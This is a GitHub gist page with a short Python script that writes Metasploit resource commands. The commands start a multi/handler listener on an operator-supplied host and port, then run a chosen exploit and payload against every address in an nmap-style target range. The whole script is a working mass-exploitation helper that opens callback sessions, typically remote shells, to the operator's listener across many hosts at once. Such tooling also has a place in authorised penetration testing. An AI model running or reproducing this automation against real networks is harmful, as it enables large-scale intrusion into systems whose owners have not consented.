Created
February 2, 2017 21:54
-
-
Save mdeous/d9878b5ad2106e56d752d721b7277a64 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
import os | |
import sys | |
from netaddr import iter_nmap_range | |
if len(sys.argv) < 6: | |
print("Usage: ./{} EXPLOIT PAYLOAD LHOST LPORT TARGETS [EXTRA_OPT=VALUE ...]".format(sys.argv[0])) | |
sys.exit() | |
exploit, payload, lhost, lport, targets = sys.argv[1:6] | |
extra_args = [] | |
if len(sys.argv) > 6: | |
extra_args = sys.argv[6:] | |
print("setg LHOST {}".format(lhost)) | |
print("setg LPORT {}".format(lport)) | |
print("use exploit/multi/handler") | |
print("set PAYLOAD {}".format(payload)) | |
print("set ExitOnSession false") | |
print("run -j") | |
print("use {}".format(exploit)) | |
print("set PAYLOAD {}".format(payload)) | |
print("set DisablePayloadHandler true") | |
for arg in extra_args: | |
opt, val = arg.split('=') | |
print("set {} {}".format(opt, val)) | |
for target in iter_nmap_range(targets): | |
target = str(target) | |
if (not target.endswith('.0')) and (not target.endswith('.255')) and (target != lhost): | |
print("set RHOST {}".format(target)) | |
print("run -j") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment